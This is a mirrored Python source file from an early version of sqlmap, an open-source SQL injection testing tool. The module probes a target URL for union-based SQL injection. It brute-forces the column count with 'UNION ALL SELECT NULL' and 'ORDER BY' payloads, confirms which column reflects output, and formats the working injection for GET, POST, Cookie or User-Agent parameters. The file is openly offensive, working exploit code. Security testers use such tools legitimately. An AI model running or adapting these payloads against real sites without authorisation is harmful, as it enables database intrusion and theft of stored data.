mirror of
				https://github.com/sqlmapproject/sqlmap.git
				synced 2025-11-04 09:57:38 +03:00 
			
		
		
		
	
		
			
				
	
	
		
			230 lines
		
	
	
		
			7.4 KiB
		
	
	
	
		
			Python
		
	
	
	
	
	
			
		
		
	
	
			230 lines
		
	
	
		
			7.4 KiB
		
	
	
	
		
			Python
		
	
	
	
	
	
#!/usr/bin/env python
 | 
						|
 | 
						|
"""
 | 
						|
$Id$
 | 
						|
 | 
						|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
 | 
						|
 | 
						|
Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
 | 
						|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
 | 
						|
 | 
						|
sqlmap is free software; you can redistribute it and/or modify it under
 | 
						|
the terms of the GNU General Public License as published by the Free
 | 
						|
Software Foundation version 2 of the License.
 | 
						|
 | 
						|
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
 | 
						|
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
 | 
						|
FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
 | 
						|
details.
 | 
						|
 | 
						|
You should have received a copy of the GNU General Public License along
 | 
						|
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
 | 
						|
Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 | 
						|
"""
 | 
						|
 | 
						|
from lib.core.agent import agent
 | 
						|
from lib.core.common import randomStr
 | 
						|
from lib.core.data import conf
 | 
						|
from lib.core.data import kb
 | 
						|
from lib.core.data import logger
 | 
						|
from lib.core.data import queries
 | 
						|
from lib.core.session import setUnion
 | 
						|
from lib.core.unescaper import unescaper
 | 
						|
from lib.parse.html import htmlParser
 | 
						|
from lib.request.connect import Connect as Request
 | 
						|
 | 
						|
def __unionPosition(negative=False, falseCond=False):
 | 
						|
    if negative or falseCond:
 | 
						|
        negLogMsg = "partial (single entry)"
 | 
						|
    else:
 | 
						|
        negLogMsg = "full"
 | 
						|
 | 
						|
    infoMsg  = "confirming %s inband sql injection on parameter " % negLogMsg
 | 
						|
    infoMsg += "'%s'" % kb.injParameter
 | 
						|
 | 
						|
    if negative:
 | 
						|
        infoMsg += " with negative parameter value"
 | 
						|
    elif falseCond:
 | 
						|
        infoMsg += " by appending a false condition after the parameter value"
 | 
						|
 | 
						|
    logger.info(infoMsg)
 | 
						|
 | 
						|
    # For each column of the table (# of NULL) perform a request using
 | 
						|
    # the UNION ALL SELECT statement to test it the target url is
 | 
						|
    # affected by an exploitable inband SQL injection vulnerability
 | 
						|
    for exprPosition in range(0, kb.unionCount):
 | 
						|
        # Prepare expression with delimiters
 | 
						|
        randQuery = randomStr()
 | 
						|
        randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery)
 | 
						|
        randQueryUnescaped = unescaper.unescape(randQueryProcessed)
 | 
						|
 | 
						|
        # Forge the inband SQL injection request
 | 
						|
        query   = agent.forgeInbandQuery(randQueryUnescaped, exprPosition)
 | 
						|
        payload = agent.payload(newValue=query, negative=negative, falseCond=falseCond)
 | 
						|
 | 
						|
        # Perform the request
 | 
						|
        resultPage, _ = Request.queryPage(payload, content=True)
 | 
						|
 | 
						|
        # We have to assure that the randQuery value is not within the
 | 
						|
        # HTML code of the result page because, for instance, it is there
 | 
						|
        # when the query is wrong and the back-end DBMS is Microsoft SQL
 | 
						|
        # server
 | 
						|
        htmlParsed = htmlParser(resultPage)
 | 
						|
 | 
						|
        if randQuery in resultPage and not htmlParsed:
 | 
						|
            setUnion(position=exprPosition)
 | 
						|
 | 
						|
            break
 | 
						|
 | 
						|
    if isinstance(kb.unionPosition, int):
 | 
						|
        infoMsg  = "the target url is affected by an exploitable "
 | 
						|
        infoMsg += "%s inband sql injection vulnerability" % negLogMsg
 | 
						|
        logger.info(infoMsg)
 | 
						|
    else:
 | 
						|
        warnMsg  = "the target url is not affected by an exploitable "
 | 
						|
        warnMsg += "%s inband sql injection vulnerability" % negLogMsg
 | 
						|
 | 
						|
        if negLogMsg == "partial":
 | 
						|
            warnMsg += ", sqlmap will retrieve the query output "
 | 
						|
            warnMsg += "through blind sql injection technique"
 | 
						|
 | 
						|
        logger.warn(warnMsg)
 | 
						|
 | 
						|
def __unionConfirm():
 | 
						|
    # Confirm the inband SQL injection and get the exact column
 | 
						|
    # position
 | 
						|
    if not isinstance(kb.unionPosition, int):
 | 
						|
        __unionPosition()
 | 
						|
 | 
						|
        # Assure that the above function found the exploitable full inband
 | 
						|
        # SQL injection position
 | 
						|
        if not isinstance(kb.unionPosition, int):
 | 
						|
            __unionPosition(falseCond=True)
 | 
						|
 | 
						|
            # Assure that the above function found the exploitable partial
 | 
						|
            # (single entry) inband SQL injection position by appending
 | 
						|
            # a false condition after the parameter value
 | 
						|
            if not isinstance(kb.unionPosition, int):
 | 
						|
                __unionPosition(negative=True)
 | 
						|
 | 
						|
                # Assure that the above function found the exploitable partial
 | 
						|
                # (single entry) inband SQL injection position with negative
 | 
						|
                # parameter value
 | 
						|
                if not isinstance(kb.unionPosition, int):
 | 
						|
                    return
 | 
						|
                else:
 | 
						|
                    conf.paramNegative = True
 | 
						|
            else:
 | 
						|
                conf.paramFalseCond = True
 | 
						|
 | 
						|
def __forgeUserFriendlyValue(payload):
 | 
						|
    value = ""
 | 
						|
 | 
						|
    if kb.injPlace == "GET":
 | 
						|
        value = "%s?%s" % (conf.url, payload)
 | 
						|
    elif kb.injPlace == "POST":
 | 
						|
        value  = "URL:\t'%s'" % conf.url
 | 
						|
        value += "\nPOST:\t'%s'\n" % payload
 | 
						|
    elif kb.injPlace == "Cookie":
 | 
						|
        value  = "URL:\t'%s'" % conf.url
 | 
						|
        value += "\nCookie:\t'%s'\n" % payload
 | 
						|
    elif kb.injPlace == "User-Agent":
 | 
						|
        value  = "URL:\t\t'%s'" % conf.url
 | 
						|
        value += "\nUser-Agent:\t'%s'\n" % payload
 | 
						|
 | 
						|
    return value
 | 
						|
 | 
						|
def __unionTestByNULLBruteforce(comment):
 | 
						|
    """
 | 
						|
    This method tests if the target url is affected by an inband
 | 
						|
    SQL injection vulnerability. The test is done up to 50 columns
 | 
						|
    on the target database table
 | 
						|
    """
 | 
						|
 | 
						|
    columns = None
 | 
						|
    value   = None
 | 
						|
    query   = agent.prefixQuery(" UNION ALL SELECT NULL")
 | 
						|
 | 
						|
    for count in range(0, 50):
 | 
						|
        if kb.dbms == "Oracle" and query.endswith(" FROM DUAL"):
 | 
						|
            query = query[:-len(" FROM DUAL")]
 | 
						|
 | 
						|
        if count:
 | 
						|
            query += ", NULL"
 | 
						|
 | 
						|
        if kb.dbms == "Oracle":
 | 
						|
            query += " FROM DUAL"
 | 
						|
 | 
						|
        commentedQuery = agent.postfixQuery(query, comment)
 | 
						|
        payload        = agent.payload(newValue=commentedQuery)
 | 
						|
        seqMatcher     = Request.queryPage(payload, getSeqMatcher=True)
 | 
						|
 | 
						|
        if seqMatcher >= 0.6:
 | 
						|
            columns = count + 1
 | 
						|
            value   = __forgeUserFriendlyValue(payload)
 | 
						|
 | 
						|
            break
 | 
						|
 | 
						|
    return value, columns
 | 
						|
 | 
						|
def __unionTestByOrderBy(comment):
 | 
						|
    columns     = None
 | 
						|
    value       = None
 | 
						|
    prevPayload = ""
 | 
						|
 | 
						|
    for count in range(1, 51):
 | 
						|
        query        = agent.prefixQuery(" ORDER BY %d" % count)
 | 
						|
        orderByQuery = agent.postfixQuery(query, comment)
 | 
						|
        payload      = agent.payload(newValue=orderByQuery)
 | 
						|
        seqMatcher   = Request.queryPage(payload, getSeqMatcher=True)
 | 
						|
 | 
						|
        if seqMatcher >= 0.6:
 | 
						|
            columns = count
 | 
						|
 | 
						|
        elif columns:
 | 
						|
            value = __forgeUserFriendlyValue(prevPayload)
 | 
						|
 | 
						|
            break
 | 
						|
 | 
						|
        prevPayload = payload
 | 
						|
 | 
						|
    return value, columns
 | 
						|
 | 
						|
def unionTest():
 | 
						|
    """
 | 
						|
    This method tests if the target url is affected by an inband
 | 
						|
    SQL injection vulnerability. The test is done up to 3*50 times
 | 
						|
    """
 | 
						|
 | 
						|
    if conf.uTech == "orderby":
 | 
						|
        technique = "ORDER BY clause bruteforcing"
 | 
						|
    else:
 | 
						|
        technique = "NULL bruteforcing"
 | 
						|
 | 
						|
    infoMsg  = "testing inband sql injection on parameter "
 | 
						|
    infoMsg += "'%s' with %s technique" % (kb.injParameter, technique)
 | 
						|
    logger.info(infoMsg)
 | 
						|
 | 
						|
    value   = ""
 | 
						|
    columns = None
 | 
						|
 | 
						|
    for comment in (queries[kb.dbms].comment, ""):
 | 
						|
        if conf.uTech == "orderby":
 | 
						|
            value, columns = __unionTestByOrderBy(comment)
 | 
						|
        else:
 | 
						|
            value, columns = __unionTestByNULLBruteforce(comment)
 | 
						|
 | 
						|
        if columns:
 | 
						|
            setUnion(comment, columns)
 | 
						|
 | 
						|
            break
 | 
						|
 | 
						|
    if kb.unionCount:
 | 
						|
        __unionConfirm()
 | 
						|
    else:
 | 
						|
        warnMsg  = "the target url is not affected by an "
 | 
						|
        warnMsg += "inband sql injection vulnerability"
 | 
						|
        logger.warn(warnMsg)
 | 
						|
 | 
						|
    return value
 |